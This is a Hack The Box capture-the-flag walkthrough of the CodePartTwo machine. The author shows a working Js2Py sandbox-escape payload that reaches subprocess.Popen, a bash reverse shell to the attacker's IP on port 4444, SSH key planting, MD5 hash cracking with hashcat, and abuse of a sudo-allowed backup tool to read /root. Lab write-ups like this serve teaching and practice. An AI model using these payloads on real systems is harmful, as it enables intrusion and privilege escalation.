Hack The Box Walkthrough - CodePartTwo

Hack The Box Walkthrough - CodePartTwo

2026/02/25    

In this machine I exploited a vulnerability in a JS code interpreter to get a shell on the server. Then I cracked a password to escalate to a different user. And finally exploited a backup utility to read files and become root.

Enumeration

I started the box by running RustScan to check for open ports.

$ rustscan -a target -- -A | tee rust.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.49.212:22
Open 10.129.49.212:8000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

[~] Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-30 13:00 -0500
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:00
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE: Active NSE Script Threads: 1 (0 waiting)
NSE Timing: About 0.00% done

...

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
|   256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM
8000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn/20.0.4
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=12/30%OT=22%CT=%CU=33677%PV=Y%DS=2%DC=T%G=N%TM=6954136
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=2%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST1
OS:1NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 33.021 days (since Thu Nov 27 12:31:30 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

...

Nmap done: 1 IP address (1 host up) scanned in 10.04 seconds
           Raw packets sent: 38 (2.458KB) | Rcvd: 27 (1.834KB)

It detected two ports:

  • 22 - SSH
  • 8000 - HTTP

Website

I opened Caido and Firefox to take a look at the website on port 8000.

Website

I also launched FeroxBuster to check for hidden pages.

$ feroxbuster -u http://target.htb:8000/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://target.htb:8000/
 🚩  In-Scope Url          │ target.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       48l      284w    17415c http://target.htb:8000/download
200      GET       20l       46w      667c http://target.htb:8000/login
200      GET       20l       44w      651c http://target.htb:8000/register
302      GET        5l       22w      189c http://target.htb:8000/logout => http://target.htb:8000/
200      GET       98l      247w     3309c http://target.htb:8000/static/js/script.js
200      GET      210l      571w     4808c http://target.htb:8000/static/css/styles.css
200      GET       47l      202w     2212c http://target.htb:8000/
302      GET        5l       22w      199c http://target.htb:8000/dashboard => http://target.htb:8000/login
[####################] - 3m    119609/119609  0s      found:8       errors:0
[####################] - 3m    119601/119601  604/s   http://target.htb:8000/

It did not find anything that was not available from the website. I clicked on the DOWNLOAD APP button, it downloaded a file called app.zip.

I also created an account and connected to the application. It gave me access to a Dashboard that had buttons to save and run some JS code.

Dashboard Dashboard Part 2

This looked promising for code execution. I had access to the source code, so I unzipped it and looked at how the JS got executed. Especially since nmap was saying this was a Python application.

Remote Code Execution

The source code had a database file. I looked at it, but it was empty.

$ sqlite3 app/instance/users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.

sqlite> .tables
code_snippet  user

sqlite> Select * From user;

sqlite> Select * From code_snippet;

sqlite>

I looked at the source code for the application. The interesting part was in the function that executed the JS code.

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

It was using a library called Js2Py. This library can translate and interpret JS code. The requirements.txt file showed that it used version 0.74 of the library. A quick search found a CVE for that version. The vulnerability allowed to get a reference to a Python object and use it to execute arbitrary code on the server. I also found a POC to exploit the vulnerability.

I took the payload from the POC and changed it to make a curl request to my machine.

// [+] command goes here:
let cmd = "curl 10.10.14.28 "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

I started a web server and saw a hit when I submitted the payload.

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.49.212 - - [30/Dec/2025 13:24:37] "GET / HTTP/1.1" 200 -

I had code execution. I created a command to get a reverse shell.

$ echo 'bash -c "bash  -i >& /dev/tcp/10.10.14.28/4444 0>&1" ' | base64
YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjgvNDQ0NCAwPiYxIiAK

I submitted that as the command to execute by the payload and got a hit on my netcat listener.

$ nc -klvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.49.212] 40236
bash: cannot set terminal process group (935): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$

I copied my SSH key to the server.

app@codeparttwo:~/app$ mkdir ../.ssh
mkdir ../.ssh

app@codeparttwo:~/app$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbXfoVZuLYBtyt13EuwFmgLp1uVd8HYQi3cJU5tVV4EodAgQtW/TplTxVffi6I4mgqSPq9whb288Qif0jKmxY9HdiAdt2csvs4392i/v+X1QPFSbQKFQzs7Nu+AdgiKTU9jN5AkYfg//1vBlE6qubAGzJXmK/i/ezlnz3b7tNOjvm+pWjTPpAFPlcdJKbr9ssf38HhYHyLjrb1Ei3f5P9LAV8ivZjajuMfSbOjMSrcKV6t7dK+QZ2oBfbuVRjqkuxYxJKaWbq1h3aqzfiYaVVp1WYtiRRmiEJFxmimX+6KL1v9Con/fr2w+0+qBJr1FLzI0VpjnRMbniRpir8nvGkgTvVTFZbGZ67Glxfjm5BUSUy00JgtWVBNHhcokfIp07u0rVhSTvxlKlQLB51ExTfJcPbo99D6xq2Lsqh0VihB8N2A2N5P69sRJpuglAz2TxPikT+tH+ijDoNjJVpYEy6vzgP6gv4/whO4T7wbwU6/l8Pa8l7ezQkX7Ko4Av2m8Es= > ../.ssh/authorized_keys
</l8Pa8l7ezQkX7Ko4Av2m8Es= > ../.ssh/authorized_keys

app@codeparttwo:~/app$ chmod 700 ../.ssh
chmod 700 ../.ssh

app@codeparttwo:~/app$ chmod 600 ../.ssh/authorized_keys
chmod 600 ../.ssh/authorized_keys

And reconnected with ssh.

$ ssh app@target
The authenticity of host 'target (10.129.49.212)' can't be established.
ED25519 key fingerprint is: SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'target' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

...

Last login: Tue Dec 30 18:29:50 2025 from 10.10.14.28
app@codeparttwo:~$

User marco

Once connected on the server, I looked at the database for the application.

app@codeparttwo:~$ sqlite3 app/instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
code_snippet  user
sqlite> Select * From user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|admin|21232f297a57a5a743894a0e4a801fc3

This one had three users with the passwords hashed with MD5. The admin user was created by me.

I saved the hashed in a file and used hashcat to crack them.

$ cat hash.txt
marco:649c9d65a206a75f5abe509fe128bce5
app:a97588c0e2fa3a024876339e27aeb42e
admin:21232f297a57a5a743894a0e4a801fc3

$ hashcat -a0 -m0 --username hash.txt /usr/share/seclists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-sandybridge-AMD Ryzen 7 PRO 5850U with Radeon Graphics, 6879/13759 MB (2048 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 3 digests; 3 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (12659 MB free)

Dictionary cache hit:
* Filename..: /usr/share/seclists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

21232f297a57a5a743894a0e4a801fc3:admin
649c9d65a206a75f5abe509fe128bce5:REDACTED
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hash.txt
Time.Started.....: Tue Dec 30 13:34:45 2025 (3 secs)
Time.Estimated...: Tue Dec 30 13:34:48 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  6589.4 kH/s (0.25ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 2/3 (66.67%) Digests (total), 2/3 (66.67%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !caroline -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 37%

Started: Tue Dec 30 13:34:21 2025
Stopped: Tue Dec 30 13:34:50 2025

$ hashcat -a0 -m0 --username hash.txt /usr/share/seclists/rockyou.txt --show
Mixing --show with --username or --dynamic-x can cause exponential delay in output.

marco:649c9d65a206a75f5abe509fe128bce5:REDACTED
admin:21232f297a57a5a743894a0e4a801fc3:admin


app@codeparttwo:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

I had the password for the user marco. And the machine had a user with that name.

I tried to switch to marco.

app@codeparttwo:~$ su marco
Password:

marco@codeparttwo:/home/app$ cd

marco@codeparttwo:~$ ls -la
total 44
drwxr-x--- 6 marco marco 4096 Dec 30 18:30 .
drwxr-xr-x 4 root  root  4096 Jan  2  2025 ..
drwx------ 7 root  root  4096 Apr  6  2025 backups
lrwxrwxrwx 1 root  root     9 Oct 26  2024 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 marco marco 3771 Feb 25  2020 .bashrc
drwx------ 2 marco marco 4096 Apr  6  2025 .cache
drwxrwxr-x 4 marco marco 4096 Feb  1  2025 .local
lrwxrwxrwx 1 root  root     9 Nov 17  2024 .mysql_history -> /dev/null
-rw-rw-r-- 1 root  root  2893 Jun 18  2025 npbackup.conf
-rw-r--r-- 1 marco marco  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root  root     9 Oct 26  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root  root     9 Oct 31  2024 .sqlite_history -> /dev/null
drwx------ 2 marco marco 4096 Oct 20  2024 .ssh
-rw-r----- 1 root  marco   33 Dec 30 17:58 user.txt

marco@codeparttwo:~$ cat user.txt
REDACTED

It worked, and I got the user flag.

Getting root

As marco, I checked if I could run anything with sudo.

marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

I was able to run a backup utility called NPBackup.

I tried running it, it needed a configuration file.

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli
2025-12-30 18:55:42,914 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-12-30 18:55:42,915 :: CRITICAL :: Cannot run without configuration file.
2025-12-30 18:55:42,925 :: INFO :: ExecTime = 0:00:00.014465, finished, state is: critical.

This was interesting. I might be able to backup some files I was not allowed to read, and then access the backup to read them.

I checked the help for the application. There were a few interesting parameters I could use to list the files in a backup, and extract them.

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -h
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME] [--repo-group REPO_GROUP] [-b] [-f] [-r RESTORE] [-s] [--ls [LS]] [--find FIND] [--forget FORGET] [--policy] [--housekeeping] [--quick-check] [--full-check]
                    [--check CHECK] [--prune [PRUNE]] [--prune-max] [--unlock] [--repair-index] [--repair-packs REPAIR_PACKS] [--repair-snapshots] [--repair REPAIR] [--recover] [--list LIST] [--dump DUMP] [--stats [STATS]] [--raw RAW]
                    [--init] [--has-recent-snapshot] [--restore-includes RESTORE_INCLUDES] [--snapshot-id SNAPSHOT_ID] [--json] [--stdin] [--stdin-filename STDIN_FILENAME] [-v] [-V] [--dry-run] [--no-cache] [--license]
                    [--auto-upgrade] [--log-file LOG_FILE] [--show-config] [--external-backend-binary EXTERNAL_BACKEND_BINARY] [--group-operation GROUP_OPERATION] [--create-key CREATE_KEY]
                    [--create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK] [--create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK] [--check-config-file]

Portable Network Backup Client This program is distributed under the GNU General Public License and comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions; Please type
--license for more info.

optional arguments:
  -h, --help            show this help message and exit
  -c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file (defaults to current dir/npbackup.conf)
  --repo-name REPO_NAME
                        Name of the repository to work with. Defaults to 'default'. This can also be a comma separated list of repo names. Can accept special name '__all__' to work with all repositories.
  --repo-group REPO_GROUP
                        Comme separated list of groups to work with. Can accept special name '__all__' to work with all repositories.
  -b, --backup          Run a backup
  -f, --force           Force running a backup regardless of existing backups age
  -r RESTORE, --restore RESTORE
                        Restore to path given by --restore, add --snapshot-id to specify a snapshot other than latest
  -s, --snapshots       Show current snapshots
  --ls [LS]             Show content given snapshot. When no snapshot id is given, latest is used
  --find FIND           Find full path of given file / directory
  --forget FORGET       Forget given snapshot (accepts comma separated list of snapshots)
  --policy              Apply retention policy to snapshots (forget snapshots)
  --housekeeping        Run --check quick, --policy and --prune in one go
  --quick-check         Deprecated in favor of --'check quick'. Quick check repository
  --full-check          Deprecated in favor of '--check full'. Full check repository (read all data)
  --check CHECK         Checks the repository. Valid arguments are 'quick' (metadata check) and 'full' (metadata + data check)
  --prune [PRUNE]       Prune data in repository, also accepts max parameter in order prune reclaiming maximum space
  --prune-max           Deprecated in favor of --prune max
  --unlock              Unlock repository
  --repair-index        Deprecated in favor of '--repair index'.Repair repo index
  --repair-packs REPAIR_PACKS
                        Deprecated in favor of '--repair packs'. Repair repo packs ids given by --repair-packs
  --repair-snapshots    Deprecated in favor of '--repair snapshots'.Repair repo snapshots
  --repair REPAIR       Repair the repository. Valid arguments are 'index', 'snapshots', or 'packs'
  --recover             Recover lost repo snapshots
  --list LIST           Show [blobs|packs|index|snapshots|keys|locks] objects
  --dump DUMP           Dump a specific file to stdout (full path given by --ls), use with --dump [file], add --snapshot-id to specify a snapshot other than latest
  --stats [STATS]       Get repository statistics. If snapshot id is given, only snapshot statistics will be shown. You may also pass "--mode raw-data" or "--mode debug" (with double quotes) to get full repo statistics
  --raw RAW             Run raw command against backend. Use with --raw "my raw backend command"
  --init                Manually initialize a repo (is done automatically on first backup)
  --has-recent-snapshot
                        Check if a recent snapshot exists
  --restore-includes RESTORE_INCLUDES
                        Restore only paths within include path, comma separated list accepted
  --snapshot-id SNAPSHOT_ID
                        Choose which snapshot to use. Defaults to latest
  --json                Run in JSON API mode. Nothing else than JSON will be printed to stdout
  --stdin               Backup using data from stdin input
  --stdin-filename STDIN_FILENAME
                        Alternate filename for stdin, defaults to 'stdin.data'
  -v, --verbose         Show verbose output
  -V, --version         Show program version
  --dry-run             Run operations in test mode, no actual modifications
  --no-cache            Run operations without cache
  --license             Show license
  --auto-upgrade        Auto upgrade NPBackup
  --log-file LOG_FILE   Optional path for logfile
  --show-config         Show full inherited configuration for current repo. Optionally you can set NPBACKUP_MANAGER_PASSWORD env variable for more details.
  --external-backend-binary EXTERNAL_BACKEND_BINARY
                        Full path to alternative external backend binary
  --group-operation GROUP_OPERATION
                        Deprecated command to launch operations on multiple repositories. Not needed anymore. Replaced by --repo-name x,y or --repo-group x,y
  --create-key CREATE_KEY
                        Create a new encryption key, requires a file path
  --create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK
                        Create a scheduled backup task, specify an argument interval via interval=minutes, or hour=hour,minute=minute for a daily task
  --create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK
                        Create a scheduled housekeeping task, specify hour=hour,minute=minute for a daily task
  --check-config-file   Check if config file is valid

I looked for examples of configuration files on the server. There was one in the user’s home directory that I missed earlier.

marco@codeparttwo:~$ find / -name 'npbackup*' 2>/dev/null
/var/log/npbackup-cli.log
/opt/npbackup-cli
/home/marco/npbackup.conf
/usr/bin/npbackup-cli
/usr/local/bin/npbackup-gui
/usr/local/bin/npbackup-cli
/usr/local/bin/npbackup-viewer
/usr/local/bin/npbackup-cli.cmd
/usr/local/lib/python3.8/dist-packages/npbackup-3.0.1.dist-info
/usr/local/lib/python3.8/dist-packages/npbackup

I made a copy of it in the home folder. But it got deleted by a clean up script while I was playing with it.

I made another copy in a temporary folder. I edited it to change the folder to backup from the folder of the web application to /root.

marco@codeparttwo:/home/app$ mktemp -d
/tmp/tmp.uR9LCRoFEY

marco@codeparttwo:/home/app$ cd /tmp/tmp.uR9LCRoFEY/

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ cp ~/npbackup.conf bu.conf

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ ls -la
total 12
drwx------  2 marco marco 4096 Dec 30 21:13 .
drwxrwxrwt 13 root  root  4096 Dec 30 21:13 ..
-rw-rw-r--  1 marco marco 2893 Dec 30 21:13 bu.conf

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ vim bu.conf

With this configuration created, I looked at the existing snapshots.

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ sudo /usr/local/bin/npbackup-cli -c bu.conf -s
2025-12-30 21:14:24,288 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-12-30 21:14:24,318 :: INFO :: Loaded config 09F15BEC in /tmp/tmp.uR9LCRoFEY/bu.conf
2025-12-30 21:14:24,328 :: INFO :: Listing snapshots of repo default
ID        Time                 Host        Tags        Paths          Size
--------------------------------------------------------------------------------
35a4dac3  2025-04-06 03:50:16  codetwo                 /home/app/app  48.295 KiB
--------------------------------------------------------------------------------
1 snapshots
2025-12-30 21:14:26,993 :: INFO :: Snapshots listed successfully
2025-12-30 21:14:26,993 :: INFO :: Runner took 2.665257 seconds for snapshots
2025-12-30 21:14:26,993 :: INFO :: Operation finished
2025-12-30 21:14:27,002 :: INFO :: ExecTime = 0:00:02.716347, finished, state is: success.

And I ran the backup.

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ sudo /usr/local/bin/npbackup-cli -c bu.conf --backup
2025-12-30 21:14:58,684 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-12-30 21:14:58,714 :: INFO :: Loaded config 09F15BEC in /tmp/tmp.uR9LCRoFEY/bu.conf
2025-12-30 21:14:58,727 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-12-30 21:15:01,137 :: INFO :: Snapshots listed successfully
2025-12-30 21:15:01,138 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2025-12-30 21:15:01,138 :: INFO :: Runner took 2.411313 seconds for has_recent_snapshot
2025-12-30 21:15:01,139 :: INFO :: Running backup of ['/root/'] to repo default
2025-12-30 21:15:02,407 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-12-30 21:15:02,408 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2025-12-30 21:15:02,408 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-12-30 21:15:02,408 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2025-12-30 21:15:02,408 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-12-30 21:15:02,408 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2025-12-30 21:15:02,409 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-12-30 21:15:02,409 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2025-12-30 21:15:02,409 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          15 new,     0 changed,     0 unmodified
Dirs:            8 new,     0 changed,     0 unmodified
Added to the repository: 190.612 KiB (39.884 KiB stored)

processed 15 files, 197.660 KiB in 0:00
snapshot c3d861af saved
2025-12-30 21:15:03,746 :: INFO :: Backend finished with success
2025-12-30 21:15:03,749 :: INFO :: Processed 197.7 KiB of data
2025-12-30 21:15:03,750 :: ERROR :: Backup is smaller than configured minmium backup size
2025-12-30 21:15:03,750 :: ERROR :: Operation finished with failure
2025-12-30 21:15:03,750 :: INFO :: Runner took 5.025247 seconds for backup
2025-12-30 21:15:03,750 :: INFO :: Operation finished
2025-12-30 21:15:03,762 :: INFO :: ExecTime = 0:00:05.080851, finished, state is: errors.

When I checked the snapshots again, there was a new one for /root.

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ sudo /usr/local/bin/npbackup-cli -c bu.conf -s
2025-12-30 21:16:05,159 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-12-30 21:16:05,189 :: INFO :: Loaded config 09F15BEC in /tmp/tmp.uR9LCRoFEY/bu.conf
2025-12-30 21:16:05,202 :: INFO :: Listing snapshots of repo default
ID        Time                 Host         Tags        Paths          Size
----------------------------------------------------------------------------------
35a4dac3  2025-04-06 03:50:16  codetwo                  /home/app/app  48.295 KiB
c3d861af  2025-12-30 21:15:02  codeparttwo              /root          197.660 KiB
----------------------------------------------------------------------------------
2 snapshots
2025-12-30 21:16:07,614 :: INFO :: Snapshots listed successfully
2025-12-30 21:16:07,614 :: INFO :: Runner took 2.41233 seconds for snapshots
2025-12-30 21:16:07,614 :: INFO :: Operation finished
2025-12-30 21:16:07,622 :: INFO :: ExecTime = 0:00:02.466303, finished, state is: success.

I listed the files in the backup.

marco@codeparttwo:/tmp/tmp.uR9LCRoFEY$ sudo /usr/local/bin/npbackup-cli -c bu.conf --ls
2025-12-30 21:17:56,391 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-12-30 21:17:56,420 :: INFO :: Loaded config 09F15BEC in /tmp/tmp.uR9LCRoFEY/bu.conf
2025-12-30 21:17:56,431 :: INFO :: Showing content of snapshot latest in repo default
2025-12-30 21:17:58,842 :: INFO :: Successfully listed snapshot latest content:
snapshot c3d861af of [/root] at 2025-12-30 21:15:02.424602293 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
